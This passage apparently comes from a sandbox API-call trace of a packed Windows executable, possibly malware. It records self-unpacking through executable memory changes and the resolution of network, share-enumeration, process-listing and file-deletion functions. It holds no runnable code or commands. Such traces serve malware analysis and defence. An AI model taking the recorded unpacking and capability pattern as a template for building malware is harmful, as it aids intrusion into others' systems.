\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x28\xf9\xa0\xcc\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0027.080] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x800) returned 0x1e411f8 [0027.080] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0027.080] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x467634) returned 0x0 [0027.080] RtlSizeHeap (HeapHandle=0x1e40000, Flags=0x0, MemoryPointer=0x1e42ac0) returned 0x80 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.081] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.082] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.083] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.084] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.085] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18055 [0027.086] GetTickCount () returned 0x18065 [0027.086] GetTickCount () returned 0x18065 [0027.086] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.087] GetTickCount () returned 0x18065 [0027.183] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.184] VirtualProtect (in: lpAddress=0x2d8820, dwSize=0x34b99, flNewProtect=0x40, lpflOldProtect=0x18d660 | out: lpflOldProtect=0x18d660*=0x4) returned 1 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0027.207] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0027.207] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0027.207] SetErrorMode (uMode=0x400) returned 0x0 [0027.207] SetErrorMode (uMode=0x0) returned 0x400 [0027.207] GetVersionExA (in: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0027.207] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca0000 [0027.221] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d644 | out: lpflOldProtect=0x18d644*=0x2) returned 1 [0027.235] VirtualFree (lpAddress=0x1ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.237] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0027.237] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0027.237] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0027.237] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0027.237] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0027.237] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0027.238] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0027.341] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0027.341] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0027.341] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0027.341] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0029.889] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0029.889] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0029.889] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0029.889] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0029.889] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0029.890] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0029.890] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0029.890] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0030.053] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0030.053] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0030.053] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0030.053] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0030.053] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0030.054] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0030.055] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0030.056] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0030.057] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0030.058] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0030.059] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0030.060] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0030.061] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0030.061] GetProcAddress 